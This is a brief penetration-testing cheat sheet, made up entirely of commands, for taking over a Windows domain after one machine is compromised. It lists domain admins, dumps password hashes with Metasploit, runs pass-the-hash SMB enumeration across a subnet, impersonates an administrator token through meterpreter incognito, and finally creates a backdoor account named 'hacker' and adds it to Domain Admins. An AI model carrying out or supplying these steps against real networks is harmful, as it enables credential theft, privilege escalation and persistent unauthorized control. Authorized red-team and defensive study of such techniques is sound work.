DomainAdminExploitation

```
[+] After compromising a Windows machine:

[>] List the domain administrators:
From Shell - net group "Domain Admins" /domain

[>] Dump the hashes (Metasploit)
msf > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE

[>] Find the admins (Metasploit)
spool /tmp/enumdomainusers.txt
msf > use auxiliary/scanner/smb/smb_enumusers_domain
msf > set smbuser Administrator
msf > set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf > set rhosts 10.10.10.0/24
msf > set threads 8
msf > run

msf> spool off

[>] Compromise Admin's box
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token MYDOM\\adaministrator
meterpreter > getuid
meterpreter > shell

C:\> whoami
mydom\adaministrator
C:\> net user hacker /add /domain
C:\> net group "Domain Admins" hacker /add /domain
```